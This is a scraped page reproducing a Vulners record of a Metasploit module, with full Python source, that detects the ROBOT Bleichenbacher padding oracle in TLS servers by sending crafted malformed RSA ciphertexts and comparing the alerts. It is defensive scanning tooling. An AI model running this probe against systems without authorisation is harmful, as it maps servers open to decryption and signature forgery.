Module Dependencies Gmpy2 and Cryptography Python Libraries Missing Cannot Continue Metasploit
{"id": "MSF:AUXILIARY-SCANNER-SSL-BLEICHENBACHER_ORACLE-", "vendorId": null, "type": "metasploit", "bulletinFamily": "exploit", "title": "Scanner for Bleichenbacher Oracle in RSA PKCS #1 v1.5", "description": "Some TLS implementations handle errors processing RSA key exchanges and encryption (PKCS #1 v1.5 messages) in a broken way that leads an adaptive chosen-chiphertext attack. Attackers cannot recover a server's private key, but they can decrypt and sign messages with it. A strong oracle occurs when the TLS server does not strictly check message formatting and needs less than a million requests on average to decode a given ciphertext. A weak oracle server strictly checks message formatting and often requires many more requests to perform the attack. This module requires Python 3 with the gmpy2 and cryptography packages to be present.\n", "published": "2018-02-02T22:29:07", "modified": "2018-08-31T21:56:22", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.rapid7.com/db/modules/auxiliary/scanner/ssl/bleichenbacher_oracle/", "reporter": "Hanno B\u00f6ck, Juraj Somorovsky, Craig Young, Daniel Bleichenbacher, Adam Cammack <adam_cammack[AT]rapid7.com>", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2022-08-19T07:18:20", "viewCount": 0, "enchantments": {"score": {"value": 0.3, "vector": "NONE"}, "vulnersScore": 0.3}, "_state": {"score": 1660893627, "dependencies": 1660893514}, "_internal": {"score_hash": "db1cf6330b20543f1c2d5f13534c0f5f"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/ssl/bleichenbacher_oracle.py", "sourceData": "#!/usr/bin/env python3\n\n# standard modules\nimport math\nimport time\nimport sys\nimport socket\nimport os\nimport ssl\n\n# extra modules\ndependencies_missing = False\ntry:\n import gmpy2\n from cryptography import x509\n from cryptography.hazmat.backends import default_backend\nexcept ImportError:\n dependencies_missing = True\n\nfrom metasploit import module\n\n\nmetadata = {\n 'name': 'Scanner for Bleichenbacher Oracle in RSA PKCS #1 v1.5',\n 'description': '''\n Some TLS implementations handle errors processing RSA key exchanges and\n encryption (PKCS #1 v1.5 messages) in a broken way that leads an\n adaptive chosen-chiphertext attack. Attackers cannot recover a server's\n private key, but they can decrypt and sign messages with it. A strong\n oracle occurs when the TLS server does not strictly check message\n formatting and needs less than a million requests on average to decode\n a given ciphertext. A weak oracle server strictly checks message\n formatting and often requires many more requests to perform the attack.\n\n This module requires Python 3 with the gmpy2 and cryptography packages\n to be present.\n ''',\n 'authors': [\n 'Hanno B\u00f6ck', # Research and PoC\n 'Juraj Somorovsky', # Research and PoC\n 'Craig Young', # Research and PoC\n 'Daniel Bleichenbacher', # Original practical attack\n 'Adam Cammack <adam_cammack[AT]rapid7.com>' # Metasploit module\n ],\n 'date': '2009-06-17',\n 'references': [\n {'type': 'cve', 'ref': '2017-6168'}, # F5 BIG-IP\n {'type': 'cve', 'ref': '2017-17382'}, # Citrix NetScaler\n {'type': 'cve', 'ref': '2017-17427'}, # Radware\n {'type': 'cve', 'ref': '2017-17428'}, # Cisco ACE\n {'type': 'cve', 'ref': '2017-12373'}, # Cisco ASA\n {'type': 'cve', 'ref': '2017-13098'}, # Bouncy Castle\n {'type': 'cve', 'ref': '2017-1000385'}, # Erlang\n {'type': 'cve', 'ref': '2017-13099'}, # WolfSSL\n {'type': 'cve', 'ref': '2016-6883'}, # MatrixSSL\n {'type': 'cve', 'ref': '2012-5081'}, # Oracle Java\n {'type': 'url', 'ref': 'https://robotattack.org'},\n {'type': 'url', 'ref': 'https://eprint.iacr.org/2017/1189'},\n {'type': 'url', 'ref': 'https://github.com/robotattackorg/robot-detect'} # Original PoC\n ],\n 'type': 'single_scanner',\n 'options': {\n 'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None},\n 'rport': {'type': 'port', 'description': 'The target port', 'required': True, 'default': 443},\n 'cipher_group': {'type': 'enum', 'description': 'Use TLS_RSA ciphers with AES and 3DES ciphers, or only TLS_RSA_WITH_AES_128_CBC_SHA or TLS-RSA-WITH-AES-128-GCM-SHA256', 'required': True, 'default': 'all', 'values': ['all', 'cbc', 'gcm']},\n 'timeout': {'type': 'int', 'description': 'The delay to wait for TLS responses', 'required': True, 'default': 5}\n },\n 'notes': {\n 'AKA': [\n 'ROBOT',\n 'Adaptive chosen-ciphertext attack'\n ]\n }}\n\ncipher_handshakes = {\n # This uses all TLS_RSA ciphers with AES and 3DES\n 'all': bytearray.fromhex(\"16030100610100005d03034f20d66cba6399e552fd735d75feb0eeae2ea2ebb357c9004e21d0c2574f837a000010009d003d0035009c003c002f000a00ff01000024000d0020001e060106020603050105020503040104020403030103020303020102020203\"),\n # This uses only TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)\n 'cbc': bytearray.fromhex(\"1603010055010000510303ecce5dab6f55e5ecf9cccd985583e94df5ed652a07b1f5c7d9ba7310770adbcb000004002f00ff01000024000d0020001e060106020603050105020503040104020403030103020303020102020203\"),\n # This uses only TLS-RSA-WITH-AES-128-GCM-SHA256 (0x009c)\n 'gcm': bytearray.fromhex(\"1603010055010000510303ecce5dab6f55e5ecf9cccd985583e94df5ed652a07b1f5c7d9ba7310770adbcb000004009c00ff01000024000d0020001e060106020603050105020503040104020403030103020303020102020203\")\n}\nch_def = cipher_handshakes['all']\n\nccs = bytearray.fromhex(\"000101\")\nenc = bytearray.fromhex(\"005091a3b6aaa2b64d126e5583b04c113259c4efa48e40a19b8e5f2542c3b1d30f8d80b7582b72f08b21dfcbff09d4b281676a0fb40d48c20c4f388617ff5c00808a96fbfe9bb6cc631101a6ba6b6bc696f0\")\n\n\ndef get_rsa_from_server(target, timeout=5):\n try:\n s = socket.create_connection(target, timeout)\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n ctx.set_ciphers(\"RSA\")\n s = ctx.wrap_socket(s)\n cert_raw = s.getpeercert(binary_form=True)\n cert_dec = x509.load_der_x509_certificate(cert_raw, default_backend())\n return cert_dec.public_key().public_numbers().n, cert_dec.public_key().public_numbers().e\n except Exception as e:\n return (None, e)\n\n\ndef tls_connect(target, timeout=5, cipher_handshake=ch_def):\n s = socket.create_connection(target, 3)\n s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n s.settimeout(timeout)\n s.sendall(cipher_handshake)\n buf = bytearray()\n i = 0\n bend = 0\n while True:\n # we try to read twice\n while i + 5 > bend:\n buf += s.recv(4096)\n bend = len(buf)\n # this is the record size\n psize = buf[i + 3] * 256 + buf[i + 4]\n # if the size is 2, we received an alert\n if (psize == 2):\n return (\"The server sends an Alert after ClientHello\")\n # try to read further record data\n while i + psize + 5 > bend:\n buf += s.recv(4096)\n bend = len(buf)\n # check whether we have already received a ClientHelloDone\n if (buf[i + 5] == 0x0e) or (buf[bend - 4] == 0x0e):\n break\n i += psize + 5\n\n return (s, buf[9:11])\n\ndef oracle(target, pms, cke_2nd_prefix, cipher_handshake=ch_def, messageflow=False, timeout=5):\n try:\n s, cke_version = tls_connect(target, timeout)\n s.send(bytearray(b'\\x16') + cke_version)\n s.send(cke_2nd_prefix)\n s.send(pms)\n if not messageflow:\n s.send(bytearray(b'\\x14') + cke_version + ccs)\n s.send(bytearray(b'\\x16') + cke_version + enc)\n try:\n alert = s.recv(4096)\n if len(alert) == 0:\n return (\"No data received from server\")\n if alert[0] == 0x15:\n if len(alert) < 7:\n return (\"TLS alert was truncated (%s)\" % (repr(alert)))\n return (\"TLS alert %i of length %i\" % (alert[6], len(alert)))\n else:\n return \"Received something other than an alert (%s)\" % (alert[0:10])\n except ConnectionResetError as e:\n return \"ConnectionResetError\"\n except socket.timeout:\n return (\"Timeout waiting for alert\")\n s.close()\n except Exception as e:\n return str(e)\n\n\ndef run(args):\n if dependencies_missing:\n module.log(\"Module dependencies (gmpy2 and cryptography python libraries) missing, cannot continue\", level='error')\n return\n\n target = (args['rhost'], int(args['rport']))\n timeout = float(args['timeout'])\n cipher_handshake = cipher_handshakes[args['cipher_group']]\n\n module.log(\"{}:{} - Scanning host for Bleichenbacher oracle\".format(*target), level='debug')\n\n N, e = get_rsa_from_server(target, timeout)\n\n if not N:\n module.log(\"{}:{} - Cannot establish SSL connection: {}\".format(*target, e), level='error')\n return\n\n modulus_bits = int(math.ceil(math.log(N, 2)))\n modulus_bytes = (modulus_bits + 7) // 8\n module.log(\"{}:{} - RSA N: {}\".format(*target, hex(N)), level='debug')\n module.log(\"{}:{} - RSA e: {}\".format(*target, hex(e)), level='debug')\n module.log(\"{}:{} - Modulus size: {} bits, {} bytes\".format(*target, modulus_bits, modulus_bytes), level='debug')\n\n cke_2nd_prefix = bytearray.fromhex(\"{0:0{1}x}\".format(modulus_bytes + 6, 4) + \"10\" + \"{0:0{1}x}\".format(modulus_bytes + 2, 6) + \"{0:0{1}x}\".format(modulus_bytes, 4))\n # pad_len is length in hex chars, so bytelen * 2\n pad_len = (modulus_bytes - 48 - 3) * 2\n rnd_pad = (\"abcd\" * (pad_len // 2 + 1))[:pad_len]\n\n rnd_pms = \"aa112233445566778899112233445566778899112233445566778899112233445566778899112233445566778899\"\n pms_good_in = int(\"0002\" + rnd_pad + \"00\" + \"0303\" + rnd_pms, 16)\n # wrong first two bytes\n pms_bad_in1 = int(\"4117\" + rnd_pad + \"00\" + \"0303\" + rnd_pms, 16)\n # 0x00 on a wrong position, also trigger older JSSE bug\n pms_bad_in2 = int(\"0002\" + rnd_pad + \"11\" + rnd_pms + \"0011\", 16)\n # no 0x00 in the middle\n pms_bad_in3 = int(\"0002\" + rnd_pad + \"11\" + \"1111\" + rnd_pms, 16)\n # wrong version number (according to Klima / Pokorny / Rosa paper)\n pms_bad_in4 = int(\"0002\" + rnd_pad + \"00\" + \"0202\" + rnd_pms, 16)\n\n pms_good = int(gmpy2.powmod(pms_good_in, e, N)).to_bytes(modulus_bytes, byteorder=\"big\")\n pms_bad1 = int(gmpy2.powmod(pms_bad_in1, e, N)).to_bytes(modulus_bytes, byteorder=\"big\")\n pms_bad2 = int(gmpy2.powmod(pms_bad_in2, e, N)).to_bytes(modulus_bytes, byteorder=\"big\")\n pms_bad3 = int(gmpy2.powmod(pms_bad_in3, e, N)).to_bytes(modulus_bytes, byteorder=\"big\")\n pms_bad4 = int(gmpy2.powmod(pms_bad_in4, e, N)).to_bytes(modulus_bytes, byteorder=\"big\")\n\n oracle_good = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout)\n oracle_bad1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout)\n oracle_bad2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout)\n oracle_bad3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout)\n oracle_bad4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout)\n\n if (oracle_good == oracle_bad1 == oracle_bad2 == oracle_bad3 == oracle_bad4):\n module.log(\"{}:{} - Identical results ({}), retrying with changed messageflow\".format(*target, oracle_good), level='info')\n oracle_good = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout)\n oracle_bad1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout)\n oracle_bad2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout)\n oracle_bad3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout)\n oracle_bad4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout)\n if (oracle_good == oracle_bad1 == oracle_bad2 == oracle_bad3 == oracle_bad4):\n module.log(\"{}:{} - Identical results ({}), no working oracle found\".format(*target, oracle_good), level='info')\n return\n else:\n flow = True\n else:\n flow = False\n\n # Re-checking all oracles to avoid unreliable results\n oracle_good_verify = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout)\n oracle_bad_verify1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout)\n oracle_bad_verify2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout)\n oracle_bad_verify3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout)\n oracle_bad_verify4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout)\n\n if (oracle_good != oracle_good_verify) or (oracle_bad1 != oracle_bad_verify1) or (oracle_bad2 != oracle_bad_verify2) or (oracle_bad3 != oracle_bad_verify3) or (oracle_bad4 != oracle_bad_verify4):\n module.log(\"{}:{} - Getting inconsistent results, skipping\".format(*target), level='warning')\n return\n\n # If the response to the invalid PKCS#1 request (oracle_bad1) is equal to both\n # requests starting with 0002, we have a weak oracle. This is because the only\n # case where we can distinguish valid from invalid requests is when we send\n # correctly formatted PKCS#1 message with 0x00 on a correct position. This\n # makes our oracle weak\n if (oracle_bad1 == oracle_bad2 == oracle_bad3):\n oracle_strength = \"weak\"\n else:\n oracle_strength = \"strong\"\n\n if flow:\n flowt = \"shortened\"\n else:\n flowt = \"standard\"\n\n s, cke_version = tls_connect(target, timeout, cipher_handshake)\n s.close()\n\n if cke_version[0] == 3 and cke_version[1] == 0:\n tlsver = \"SSLv3\"\n elif cke_version[0] == 3 and cke_version[1] == 1:\n tlsver = \"TLSv1.0\"\n elif cke_version[0] == 3 and cke_version[1] == 2:\n tlsver = \"TLSv1.1\"\n elif cke_version[0] == 3 and cke_version[1] == 3:\n tlsver = \"TLSv1.2\"\n else:\n tlsver = \"TLS raw version %i/%i\" % (cke_version[0], cke_version[1])\n\n module.report_vuln(target[0], 'Bleichenbacher Oracle', port=target[1])\n module.log(\"{}:{} - Vulnerable: ({}) oracle found {} with {} message flow\".format(*target, oracle_strength, tlsver, flowt), level='good')\n\n module.log(\"{}:{} - Result of good request: {}\".format(*target, oracle_good), level='debug')\n module.log(\"{}:{} - Result of bad request 1 (wrong first bytes): {}\".format(*target, oracle_bad1), level='debug')\n module.log(\"{}:{} - Result of bad request 2 (wrong 0x00 position): {}\".format(*target, oracle_bad2), level='debug')\n module.log(\"{}:{} - Result of bad request 3 (missing 0x00): {}\".format(*target, oracle_bad3), level='debug')\n module.log(\"{}:{} - Result of bad request 4 (bad TLS version): {}\".format(*target, oracle_bad4), level='debug')\n\n\nif __name__ == \"__main__\":\n module.run(metadata, run)\n", "metasploitReliability": "", "metasploitHistory": ""}
{}
Source: https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSL-BLEICHENBACHER_ORACLE-
0 Response to "Module Dependencies Gmpy2 and Cryptography Python Libraries Missing Cannot Continue Metasploit"
Post a Comment